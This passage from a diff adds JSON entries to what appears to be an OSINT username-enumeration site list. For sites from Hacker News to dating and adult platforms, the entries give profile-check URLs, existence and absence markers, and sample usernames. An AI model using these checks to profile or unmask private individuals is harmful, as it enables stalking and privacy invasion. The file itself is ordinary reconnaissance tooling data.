"uri_check": "https://habtium.es/{account}", + "e_code": 200, + "e_string": "
    Oops!", + "m_code": 404, + "known": [ + "diegjeremy", + "suigetsu" + ], + "cat": "gaming" + }, + { + "name": "Hackaday.io", + "uri_check": "https://hackaday.io/{account}", + "strip_bad_char": "-", + "e_code": 200, + "e_string": "class=\"following-container \"", + "m_string": "class=\"error-nav\"", + "m_code": 404, + "known": [ + "john", + "adam" + ], + "cat": "hobby" + }, + { + "name": "Hackadvisor", + "uri_check": "https://hackadvisor.io/api/v2/profile/{account}/", + "uri_pretty": "https://hackadvisor.io/hacker/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "{\"detail\":\"Username not found\"}", + "m_code": 404, + "known": [ + "WorstWurst", + "shriyanss" + ], + "cat": "tech" + }, + { + "name": "Hacker News", + "uri_check": "https://news.ycombinator.com/user?id={account}", + "e_code": 200, + "e_string": "created:", + "m_string": "No such user.", + "m_code": 200, + "known": [ + "mubix", + "egypt" + ], + "cat": "tech" + }, + { + "name": "hackerearth", + "uri_check": "https://www.hackerearth.com/@{account}", + "e_code": 200, + "e_string": "| Developer Profile on HackerEarth", + "m_string": "404 | HackerEarth", + "m_code": 200, + "known": [ + "peter", + "liam" + ], + "cat": "coding" + }, + { + "name": "Hackernoon", + "uri_check": "https://hackernoon.com/_next/data/foL6JC7ro2FEEMD-gMKgQ/u/{account}.json", + "uri_pretty": "https://hackernoon.com/u/{account}", + "e_code": 200, + "e_string": "\"profile\"", + "m_string": "__N_REDIRECT", + "m_code": 200, + "known": [ + "john", + "alex" + ], + "cat": "tech" + }, + { + "name": "HackerOne", + "uri_check": "https://hackerone.com/graphql", + "uri_pretty": "https://hackerone.com/{account}", + "post_body": "{\"query\":\"query($url: URI!) {\\n resource(url: $url) {\\n ... on User { username }\\n }\\n }\",\"variables\":{\"url\":\"{account}\"}}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"type\":\"NOT_FOUND\"", + "m_code": 200, + "known": [ + "born2hack", + "godiego" + ], + "cat": "tech" + }, + { + "name": "HackerRank", + "uri_check": "https://www.hackerrank.com/rest/contests/master/hackers/{account}/profile", + "uri_pretty": "https://www.hackerrank.com/profile/{account}", + "e_code": 200, + "e_string": "\"model\":", + "m_string": "\"error\":\"Not Found\"", + "m_code": 404, + "known": [ + "FMota", + "adepanges" + ], + "cat": "tech", + "protection": [ + "other" + ] + }, + { + "name": "hackrocks", + "uri_check": "https://hackrocks.com/api/users/profile", + "uri_pretty": "https://hackrocks.com/id/{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error_data\":\"USER_NOT_FOUND\"", + "m_code": 404, + "known": [ + "mespejo", + "NeoWaveCode" + ], + "cat": "tech" + }, + { + "name": "Hackster", + "uri_check": "https://www.hackster.io/{account}", + "e_code": 200, + "e_string": "data-hypernova-key=\"UserProfile\"", + "m_string": "id=\"error\"", + "m_code": 404, + "known": [ + "hendra", + "sologithu" + ], + "cat": "coding" + }, + { + "name": "hamaha", + "uri_check": "https://hamaha.net/{account}", + "e_code": 200, + "e_string": "- трейдинг форекс фьючерсы акции фондовый рынок ", + "m_string": "HAMAHA Биткоин форум.", + "m_code": 200, + "known": [ + "oleg", + "misha" + ], + "cat": "finance" + }, + { + "name": "Hanime", + "uri_check": "https://hanime.tv/channels/{account}", + "e_code": 200, + "e_string": "Channel Views", + "m_string": "DYNAMIC", + "m_code": 302, + "known": [ + "thecolorred-7902", + "arisu-cum-stats-2787" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Hashnode", + "uri_check": "https://gql.hashnode.com/", + "uri_pretty": "https://hashnode.com/@{account}", + "post_body": "{\"operationName\":\"UserBadge\",\"query\":\"query UserBadge($username:String!){user(username:$username){id}}\",\"variables\":{\"username\":\"{account}\"}}", + "headers": { + "content-type": "application/json" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"user\":null", + "m_code": 200, + "known": [ + "33win1net", + "goober99" + ], + "cat": "tech" + }, + { + "name": "Hcommons.social (Mastodon Instance)", + "uri_check": "https://hcommons.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hcommons.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "hello", + "iuulaio" + ], + "cat": "social" + }, + { + "name": "Heylink", + "uri_check": "https://heylink.me/{account}/", + "e_code": 200, + "e_string": "HeyLink.me |", + "m_string": "We can't find the page that you're looking for :(", + "m_code": 404, + "known": [ + "mohammed13", + "johnny" + ], + "cat": "misc" + }, + { + "name": "hiberworld", + "uri_check": "https://hiberworld.com/user/{account}", + "e_code": 200, + "e_string": "Member since ", + "m_string": "Looks like you got lost ", + "m_code": 200, + "known": [ + "Axeman", + "Silver01" + ], + "cat": "gaming" + }, + { + "name": "HiHello", + "uri_check": "https://www.hihello.me/author/{account}", + "e_code": 200, + "e_string": "HiHello Blog Author: ", + "m_string": "Well, this is awkward", + "m_code": 404, + "known": [ + "pascal-theriault", + "kortnee-paiha" + ], + "cat": "business" + }, + { + "name": "Historians.social (Mastodon Instance)", + "uri_check": "https://historians.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://historians.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "lizcovart", + "Ejoiner" + ], + "cat": "social" + }, + { + "name": "Holopin", + "uri_check": "https://www.holopin.io/api/auth/username", + "uri_pretty": "https://holopin.io/@{account}#", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "holo", + "john", + "fire" + ], + "cat": "hobby" + }, + { + "name": "HomeDesign3D", + "uri_check": "https://en.homedesign3d.net/user/{account}", + "e_code": 200, + "e_string": "userspace", + "m_string": "An Error Occurred: Internal Server Error", + "m_code": 500, + "known": [ + "carlos01", + "paul" + ], + "cat": "hobby" + }, + { + "name": "Hometech.social (Mastodon Instance)", + "uri_check": "https://hometech.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hometech.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "one4ll", + "seth" + ], + "cat": "social" + }, + { + "name": "hoo.be", + "uri_check": "https://hoo.be/{account}", + "e_code": 200, + "e_string": "--profile-name-color", + "m_string": "Page Not Found</h3>", + "m_code": 404, + "known": [ + "chrishemsworth", + "alextackie" + ], + "cat": "business" + }, + { + "name": "Hostux.social (Mastodon Instance)", + "uri_check": "https://hostux.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hostux.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "alarig", + "rsmela" + ], + "cat": "social" + }, + { + "name": "Houzz", + "uri_check": "https://www.houzz.com/user/{account}", + "e_code": 200, + "e_string": "Followers", + "m_string": "Page Not Found", + "m_code": 404, + "known": [ + "liam", + "alex" + ], + "cat": "hobby" + }, + { + "name": "HubPages", + "uri_check": "https://hubpages.com/@{account}", + "e_code": 200, + "e_string": "name\">Followers", + "m_string": "Sorry, that user does not exist", + "m_code": 404, + "known": [ + "greeneyes1607", + "lmmartin" + ], + "cat": "blog" + }, + { + "name": "Hubski", + "uri_check": "https://hubski.com/user/{account}", + "e_code": 200, + "e_string": "'s profile", + "m_string": "No such user.", + "m_code": 200, + "known": [ + "john", + "blue" + ], + "cat": "social" + }, + { + "name": "HudsonRock", + "uri_check": "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-username?username={account}", + "e_code": 200, + "e_string": "This username is associated with a computer that was infected by an info-stealer", + "m_string": "This username is not associated with a computer infected by an info-stealer", + "m_code": 200, + "known": [ + "testadmin", + "testadmin1" + ], + "cat": "tech" + }, + { + "name": "HuggingFace", + "uri_check": "https://huggingface.co/{account}", + "e_code": 200, + "e_string": "data-target=\"UserProfile\"", + "m_string": "content=\"404 – Hugging Face\"", + "m_code": 404, + "known": [ + "hack", + "dev", + "Amanda" + ], + "cat": "tech" + }, + { + "name": "HulkShare", + "uri_check": "https://www.hulkshare.com/{account}", + "e_code": 200, + "e_string": "id=\"profile_image\"", + "m_string": "Invalid user.", + "m_code": 200, + "known": [ + "djjamesryan", + "dxcrew2" + ], + "cat": "social" + }, + { + "name": "Iconfinder", + "uri_check": "https://www.iconfinder.com/{account}", + "e_code": 200, + "e_string": "data-to-user-id=", + "m_string": "We couldn't find the page you are looking for.", + "m_code": 404, + "known": [ + "roundicons", + "iconfinder" + ], + "cat": "images" + }, + { + "name": "icq-chat", + "uri_check": "https://icq.icqchat.co/members/{account}/", + "e_code": 200, + "e_string": "Last seen", + "m_string": "Oops! We ran into some problems", + "m_code": 404, + "known": [ + "brookenora.54", + "bigdaddy.77" + ], + "cat": "social" + }, + { + "name": "IFTTT", + "uri_check": "https://ifttt.com/p/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "The requested page or file does not exist", + "m_code": 404, + "known": [ + "nr9992", + "sss90" + ], + "cat": "misc" + }, + { + "name": "ifunny", + "uri_check": "https://ifunny.co/user/{account}", + "e_code": 200, + "e_string": "subscribers", + "m_string": "404 - page not found", + "m_code": 404, + "known": [ + "hacker", + "john" + ], + "cat": "misc" + }, + { + "name": "igromania", + "uri_check": "http://forum.igromania.ru/member.php?username={account}", + "e_code": 200, + "e_string": "Форум Игромании - Просмотр профиля:", + "m_string": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code": 200, + "known": [ + "bob", + "blue" + ], + "cat": "social" + }, + { + "name": "ilovegrowingmarijuana", + "uri_check": "https://support.ilovegrowingmarijuana.com/u/{account}", + "e_code": 200, + "e_string": "<title> Profile - ", + "m_string": "Oops! That page doesn’t exist or is private", + "m_code": 404, + "known": [ + "ILGM.Stacy", + "Mosaicmind9x" + ], + "cat": "social" + }, + { + "name": "imagefap", + "uri_check": "https://www.imagefap.com/profile/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Invalid uid", + "m_code": 200, + "known": [ + "lover03", + "SecretSide15" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ImageShack", + "uri_check": "https://imageshack.com/user/{account}", + "e_code": 200, + "e_string": "s Images", + "m_string": "", + "m_code": 302, + "known": [ + "test" + ], + "cat": "images" + }, + { + "name": "iMGSRC.RU", + "uri_check": "https://imgsrc.ru/main/user.php?lang=ru&user={account}", + "e_code": 200, + "e_string": "Присоединился", + "m_string": "", + "m_code": 302, + "known": [ + "natalisn", + "andydiamond", + "natalyck" + ], + "cat": "images" + }, + { + "name": "Imgur", + "uri_check": "https://api.imgur.com/account/v1/accounts/{account}?client_id=546c25a59c58ad7", + "uri_pretty": "https://imgur.com/user/{account}/about", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"code\":\"404\"", + "m_code": 404, + "known": [ + "OliverClothesoff70", + "DadOnTheInternet" + ], + "cat": "images" + }, + { + "name": "inaturalist", + "uri_check": "https://inaturalist.nz/people/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "greg", + "tom" + ], + "cat": "hobby" + }, + { + "name": "Independent academia", + "uri_check": "https://independent.academia.edu/{account}", + "e_code": 200, + "e_string": "- Academia.edu", + "m_string": "Academia.edu", + "m_code": 404, + "known": [ + "peter", + "LiamM" + ], + "cat": "hobby" + }, + { + "name": "InkBunny", + "uri_check": "https://inkbunny.net/{account}", + "e_code": 200, + "e_string": "Profile | Inkbunny, the Furry Art Community", + "m_string": "Members | Inkbunny, the Furry Art Community", + "m_code": 302, + "known": [ + "AdminBunny", + "test" + ], + "cat": "xx NSFW xx" + }, + { + "name": "InsaneJournal", + "uri_check": "https://{account}.insanejournal.com/profile", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "User:", + "m_string": "The requested URL /profile was not found on this server", + "m_code": 200, + "known": [ + "test", + "pint-sized", + "acroamatica" + ], + "cat": "social" + }, + { + "name": "Instagram", + "uri_check": "https://www.instagram.com/{account}/", + "e_code": 200, + "e_string": "\"routePath\":\"\\/{username}\\/{?tab}\\/{?view_type}\\/{?igshid}\\/\"", + "m_string": "\"routePath\":null", + "m_code": 200, + "known": [ + "jennaortega", + "cristiano" + ], + "cat": "social" + }, + { + "name": "Instagram (Imginn)", + "uri_check": "https://imginn.com/{account}/", + "e_code": 200, + "e_string": "userinfo", + "m_string": "page-error notfound", + "m_code": 404, + "known": [ + "therock", + "ramarim" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Instagram_archives", + "uri_check": "https://archive.org/wayback/available?url=https://instagram.com/{account}/", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}}", + "m_code": 200, + "known": [ + "zuck", + "jack" + ], + "cat": "social" + }, + { + "name": "Instructables", + "uri_check": "https://www.instructables.com/json-api/showAuthorExists?screenName={account}", + "uri_pretty": "https://www.instructables.com/member/{account}/", + "e_code": 200, + "e_string": "\"exists\": true", + "m_string": "\"error\": \"Sorry, we couldn't find that one!\"", + "m_code": 404, + "known": [ + "davidandora", + "test" + ], + "cat": "hobby" + }, + { + "name": "Internet Archive User Search", + "uri_check": "https://archive.org/advancedsearch.php?q={account}&output=json", + "uri_pretty": "https://archive.org/search.php?query={account}", + "e_code": 200, + "e_string": "backup_location", + "m_string": "numFound\":0", + "m_code": 200, + "known": [ + "test", + "mubix" + ], + "cat": "misc" + }, + { + "name": "interpals", + "uri_check": "https://www.interpals.net/{account}", + "e_code": 200, + "e_string": "Looking for", + "m_string": "User not found", + "m_code": 200, + "known": [ + "test" + ], + "cat": "dating" + }, + { + "name": "Intigriti", + "uri_check": "https://app.intigriti.com/api/user/public/profile/{account}", + "uri_pretty": "https://app.intigriti.com/profile/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "class=\"error-page-container\"", + "m_code": 404, + "known": [ + "vampire01", + "kenshiin" + ], + "cat": "tech" + }, + { + "name": "Issuu", + "uri_check": "https://issuu.com/call/signup/v2/check-username/{account}", + "uri_pretty": "https://issuu.com/{account}", + "e_code": 200, + "e_string": "\"status\":\"unavailable\"", + "m_string": "\"status\":\"available\"", + "m_code": 200, + "known": [ + "letsplayhockey", + "the_anchor" + ], + "cat": "social" + }, + { + "name": "itch.io", + "uri_check": "https://itch.io/profile/{account}", + "e_code": 200, + "e_string": "class=\"user_data\"", + "m_string": "class=\"not_found_page page_widget base_widget\"", + "m_code": 404, + "known": [ + "obliviist", + "finch" + ], + "cat": "gaming" + }, + { + "name": "iXBT Forum", + "uri_check": "https://forum.ixbt.com/users.cgi?id=info:{account}", + "e_code": 200, + "e_string": "Информация об участнике:", + "m_string": "Проверьте регистр написания.", + "m_code": 404, + "known": [ + "phosphor", + "Dronich" + ], + "cat": "tech" + }, + { + "name": "Japandict", + "uri_check": "https://forum.japandict.com/u/{account}", + "e_code": 200, + "e_string": "modern browser", + "m_string": "The page you requested could not be found.", + "m_code": 404, + "known": [ + "Yan", + "Happy" + ], + "cat": "social" + }, + { + "name": "JBZD", + "uri_check": "https://jbzd.com.pl/uzytkownik/{account}", + "e_code": 200, + "e_string": "Dzidy użytkownika", + "m_string": "Błąd 404", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "jeja.pl", + "uri_check": "https://www.jeja.pl/user,{account}", + "e_code": 200, + "e_string": "Profil użytkownika", + "m_string": "Niepoprawny login", + "m_code": 200, + "known": [ + "kowal", + "janek" + ], + "cat": "misc" + }, + { + "name": "Jeuxvideo", + "uri_check": "https://www.jeuxvideo.com/profil/{account}?mode=infos", + "e_code": 200, + "e_string": "- jeuxvideo.com", + "m_string": "rence des gamers", + "m_code": 404, + "known": [ + "jane", + "alex" + ], + "cat": "gaming" + }, + { + "name": "Joe Monster", + "uri_check": "https://joemonster.org/bojownik/{account}", + "e_code": 200, + "e_string": "jest prywatny", + "m_string": "Nie wiem jak ci to powiedzieć", + "m_code": 200, + "known": [ + "dandris", + "lasior" + ], + "cat": "misc" + }, + { + "name": "joinDOTA", + "uri_check": "https://www.joindota.com/ajax/search", + "uri_pretty": "https://www.joindota.com/search?m=edb_player&q={account}", + "post_body": "search={account}&module=edb_player&language=en", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"items\":[{", + "m_string": "\"count\":0", + "m_code": 200, + "known": [ + "AngryTestie", + "amddota2" + ], + "cat": "gaming" + }, + { + "name": "JSFiddle", + "uri_check": "https://jsfiddle.net/user/{account}/", + "e_code": 200, + "e_string": "Settings - JSFiddle - Code Playground", + "m_string": "That page doesn't exist.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "coding" + }, + { + "name": "Justforfans", + "uri_check": "https://justfor.fans/{account}", + "e_code": 200, + "e_string": " @ JustFor.Fans", + "m_string": "", + "m_code": 302, + "known": [ + "devinfrancoxxx", + "RileyChaux" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Kaggle", + "uri_check": "https://www.kaggle.com/{account}", + "e_code": 200, + "e_string": "property=\"og:username\"", + "m_string": "Kaggle: Your Home for Data Science", + "m_code": 404, + "known": [ + "charmq", + "tunguz" + ], + "cat": "coding" + }, + { + "name": "kashipara", + "uri_check": "https://www.kashipara.com/ajax/checkNewUser.php", + "uri_pretty": "https://www.kashipara.com/profile/user/{account}", + "post_body": "id=UserName&value={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"message\":\"UserName already Exist\"", + "m_string": "\"message\":\"UserName avalible\"", + "m_code": 200, + "known": [ + "lopalopa", + "westde123" + ], + "cat": "tech" + }, + { + "name": "Keybase", + "uri_check": "https://keybase.io/_/api/1.0/user/lookup.json?usernames={account}", + "uri_pretty": "https://keybase.io/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"them\":[null]", + "m_code": 200, + "known": [ + "test", + "mubix" + ], + "cat": "social" + }, + { + "name": "Kick", + "uri_check": "https://kick.com/api/v2/channels/{account}", + "uri_pretty": "https://kick.com/{account}", + "e_code": 200, + "e_string": "\"id\"", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "deepak", + "anthonyz" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Kickstarter", + "uri_check": "https://www.kickstarter.com/profile/{account}", + "e_code": 200, + "e_string": "projects", + "m_string": "Oops, Something went missing", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "shopping" + }, + { + "name": "kik", + "uri_check": "https://kik.me/{account}", + "e_code": 200, + "e_string": "/thumb.jpg\"/>", + "m_string": "

    ", + "m_code": 200, + "known": [ + "adam", + "smith", + "jones" + ], + "cat": "social" + }, + { + "name": "kipin", + "uri_check": "https://kipin.app/{account}", + "e_code": 200, + "e_string": "kipin.app/data/photos/resized2/", + "m_string": "Page not found. Link expired, broken or wrong.", + "m_code": 302, + "known": [ + "monethica", + "asd_fca" + ], + "cat": "business" + }, + { + "name": "KnowYourMeme", + "uri_check": "https://knowyourmeme.com/users/{account}", + "e_code": 200, + "e_string": "Contributions", + "m_string": "404, File Not Found!", + "m_code": 400, + "known": [ + "ayumukasuga", + "butterin-yobread" + ], + "cat": "social" + }, + { + "name": "Ko-Fi", + "uri_check": "https://ko-fi.com/{account}", + "e_code": 200, + "e_string": "id=\"profile-header\"", + "m_string": "Object moved", + "m_code": 302, + "known": [ + "frank", + "marcmakescomics" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "komi", + "uri_check": "https://api.komi.io/api/talent/usernames/{account}", + "uri_pretty": "https://{account}.komi.io", + "e_code": 200, + "e_string": "accountStatus\":\"active", + "m_string": "The talent profile was not found", + "m_code": 404, + "known": [ + "abbysage", + "iamdsprings" + ], + "cat": "social" + }, + { + "name": "Kongregate", + "uri_check": "https://www.kongregate.com/accounts/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "Sorry, no account with that name was found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "Kotburger", + "uri_check": "https://kotburger.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza kotburgery od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "ania", + "janek" + ], + "cat": "images" + }, + { + "name": "Kwai", + "uri_check": "https://www.kwai.com/@{account}", + "e_code": 200, + "e_string": "name=\"title\"", + "m_string": "Kwai", + "m_code": 200, + "known": [ + "carlito", + "taylor" + ], + "cat": "social" + }, + { + "name": "kwejk.pl", + "uri_check": "https://kwejk.pl/uzytkownik/{account}#/tablica/", + "e_code": 200, + "e_string": "Kwejki użytkownika", + "m_string": "404 - strona nie została znaleziona - KWEJK.pl", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Kwork", + "uri_check": "https://kwork.ru/user_kworks/{account}", + "uri_pretty": "https://kwork.ru/user/{account}", + "post_body": "{\"username\":\"{account}\",\"offset\":0,\"limit\":10}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "ilkarkarakurt", + "sergeymeshiy" + ], + "cat": "social" + }, + { + "name": "Last.fm", + "uri_check": "https://www.last.fm/user/{account}", + "e_code": 200, + "e_string": "class=\"header-info\"", + "m_string": "

    404 - Page Not Found

    ", + "m_code": 404, + "known": [ + "anne", + "alex" + ], + "cat": "music" + }, + { + "name": "LeakIX", + "uri_check": "https://leakix.net/u/{account}", + "e_code": 200, + "e_string": ">Joined ", + "m_string": "LeakIX - Server error", + "m_code": 500, + "known": [ + "Chocapikk", + "Hug1337" + ], + "cat": "tech", + "protection": [ + "other" + ] + }, + { + "name": "Learn CW Online", + "uri_check": "https://lcwo.net/api/user_exists.php", + "uri_pretty": "https://lcwo.net/profile/{account}", + "post_body": "username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"user_exists\": 1", + "m_string": "\"user_exists\": 0", + "m_code": 200, + "known": [ + "wm3o", + "test" + ], + "cat": "hobby" + }, + { + "name": "LeetCode", + "uri_check": "https://leetcode.com/graphql/", + "uri_pretty": "https://leetcode.com/u/{account}/", + "post_body": "{\"query\":\"query userPublicProfile($username: String!) { matchedUser(username: $username) { username } }\",\"variables\":{\"username\":\"{account}\"},\"operationName\":\"userPublicProfile\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"matchedUser\":null", + "m_code": 200, + "known": [ + "aku_2000", + "wengh" + ], + "cat": "coding" + }, + { + "name": "Lemon8", + "uri_check": "https://www.lemon8-app.com/{account}?region=us", + "e_code": 200, + "e_string": "class=\"user-desc-main-info", + "m_string": "unavailableReason\": \"not_found", + "m_code": 404, + "known": [ + "phinyamat", + "andrianajohnson" + ], + "cat": "social" + }, + { + "name": "Letterboxd", + "uri_check": "https://letterboxd.com/{account}/", + "e_code": 200, + "e_string": "’s profile on Letterboxd", + "m_string": "Sorry, we can’t find the page you’ve requested.", + "m_code": 404, + "known": [ + "serdaraltin", + "choi" + ], + "cat": "social" + }, + { + "name": "LevelBlue", + "uri_check": "https://otx.alienvault.com/otxapi/auth/validate?username={account}", + "uri_pretty": "https://otx.alienvault.com/user/{account}/pulses", + "e_code": 400, + "e_string": "\"username\": [\"This username is already taken\"]", + "m_string": "{}", + "m_code": 200, + "known": [ + "BotnetExposer", + "jamesbrine" + ], + "cat": "social" + }, + { + "name": "Liberapay", + "uri_check": "https://liberapay.com/{account}", + "e_code": 200, + "e_string": "class=\"profile-header\"", + "m_string": "Response code: 404", + "m_code": 404, + "known": [ + "db0", + "bnjbvr" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "LibraryThing", + "uri_check": "https://www.librarything.com/profile/{account}", + "e_code": 200, + "e_string": "
    Joined
    ", + "m_string": "Error: This user doesn't exist", + "m_code": 200, + "known": [ + "test", + "john" + ], + "cat": "hobby" + }, + { + "name": "Libretooth.gr (Mastodon Instance)", + "uri_check": "https://libretooth.gr/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://libretooth.gr/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "infolibre", + "tzinalilik" + ], + "cat": "social" + }, + { + "name": "lichess.org", + "uri_check": "https://lichess.org/api/player/autocomplete?term={account}&exists=1", + "uri_pretty": "https://lichess.org/@/{account}", + "e_code": 200, + "e_string": "true", + "m_string": "false", + "m_code": 200, + "known": [ + "mohammed01", + "mohammed03" + ], + "cat": "gaming" + }, + { + "name": "LINE", + "uri_check": "https://line.me/R/ti/p/@{account}?from=page", + "e_code": 200, + "e_string": "Add LINE Friends via QR Code", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "roseareal", + "yoasobi" + ], + "cat": "social" + }, + { + "name": "Linktree", + "uri_check": "https://linktr.ee/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"statusCode\":404", + "m_code": 404, + "known": [ + "anne", + "alex" + ], + "cat": "social" + }, + { + "name": "linux.org.ru", + "uri_check": "https://www.linux.org.ru/people/{account}/profile", + "e_code": 200, + "e_string": "Дата регистрации", + "m_string": "Пользователя не существует", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "tech" + }, + { + "name": "Livejournal", + "uri_check": "https://{account}.livejournal.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Unknown Journal", + "m_code": 404, + "known": [ + "jill", + "john" + ], + "cat": "blog" + }, + { + "name": "livemaster.ru", + "uri_check": "https://www.livemaster.ru/{account}", + "e_code": 200, + "e_string": "Магазин мастера", + "m_string": "<title>Вы попали на несуществующую страницу", + "m_code": 404, + "known": [ + "redart", + "ellentoy" + ], + "cat": "shopping" + }, + { + "name": "lobste.rs", + "uri_check": "https://lobste.rs/u/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "The resource you requested was not found, or the story has been deleted.", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "tech" + }, + { + "name": "LoLProfile", + "uri_check": "https://lolprofile.net/search/world/{account}-world", + "e_code": 200, + "e_string": "class=\"content sw\">", + "m_string": "We could not find any results, please try again later or check your input.", + "m_code": 200, + "known": [ + "bea", + "wild" + ], + "cat": "gaming" + }, + { + "name": "Lor.sh (Mastodon Instance)", + "uri_check": "https://lor.sh/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://lor.sh/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "dump_stack", + "lamountain" + ], + "cat": "social" + }, + { + "name": "lowcygier.pl", + "uri_check": "https://bazar.lowcygier.pl/user/{account}", + "e_code": 200, + "e_string": "Zarejestrowany", + "m_string": "Błąd 404 - Podana strona nie istnieje", + "m_code": 404, + "known": [ + "armin", + "janek" + ], + "cat": "gaming" + }, + { + "name": "MAGABOOK", + "uri_check": "https://magabook.com/{account}", + "e_code": 200, + "e_string": "Timeline", + "m_string": "", + "m_code": 302, + "known": [ + "KristenSuzanne", + "mikeflbmer" + ], + "cat": "social" + }, + { + "name": "Magix", + "uri_check": "https://www.magix.info/us/users/profile/{account}/", + "e_code": 200, + "e_string": "About me", + "m_string": "Page not found", + "m_code": 200, + "known": [ + "baywolfmusic", + "johnebaker" + ], + "cat": "music" + }, + { + "name": "Malpedia Actors", + "uri_check": "https://malpedia.caad.fkie.fraunhofer.de/actor/{account}", + "e_code": 200, + "e_string": "href=\"/actors\"", + "m_string": "Page not Found.", + "m_code": 404, + "known": [ + "USDoD", + "AeroBlade" + ], + "cat": "tech" + }, + { + "name": "MapMyTracks", + "uri_check": "https://www.mapmytracks.com/{account}", + "e_code": 200, + "e_string": "Daily distance this week", + "m_string": "Outside together", + "m_code": 302, + "known": [ + "ulirad", + "CBSloan" + ], + "cat": "health" + }, + { + "name": "Mapstodon.space (Mastodon Instance)", + "uri_check": "https://mapstodon.space/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://mapstodon.space/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Autumnhussar", + "jeremy" + ], + "cat": "social" + }, + { + "name": "Maroc_nl", + "uri_check": "https://www.maroc.nl/forums/members/{account}.html", + "e_code": 200, + "e_string": "Bekijk Profiel:", + "m_string": "Deze gebruiker is niet geregistreerd", + "m_code": 200, + "known": [ + "brahim", + "brahim01" + ], + "cat": "social" + }, + { + "name": "Marshmallow", + "uri_check": "https://marshmallow-qa.com/{account}", + "e_code": 200, + "e_string": "さんにメッセージをおくる", + "m_string": "For compensation, here are cats for you.", + "m_code": 404, + "known": [ + "yuino_fox", + "momo" + ], + "cat": "social" + }, + { + "name": "Martech", + "uri_check": "https://martech.org/author/{account}/", + "e_code": 200, + "e_string": "twitter:site", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "mani-karthik", + "james-green" + ], + "cat": "business" + }, + { + "name": "Massage Anywhere", + "uri_check": "https://www.massageanywhere.com/profile/{account}", + "e_code": 200, + "e_string": "<title>MassageAnywhere.com Profile for ", + "m_string": "<title>MassageAnywhere.com: Search Results", + "m_code": 200, + "known": [ + "lorilmccluskey", + "LomiNYC" + ], + "cat": "health" + }, + { + "name": "masto.ai", + "uri_check": "https://masto.ai/@{account}", + "e_code": 200, + "e_string": "@masto.ai) - Mastodon", + "m_string": "The page you are 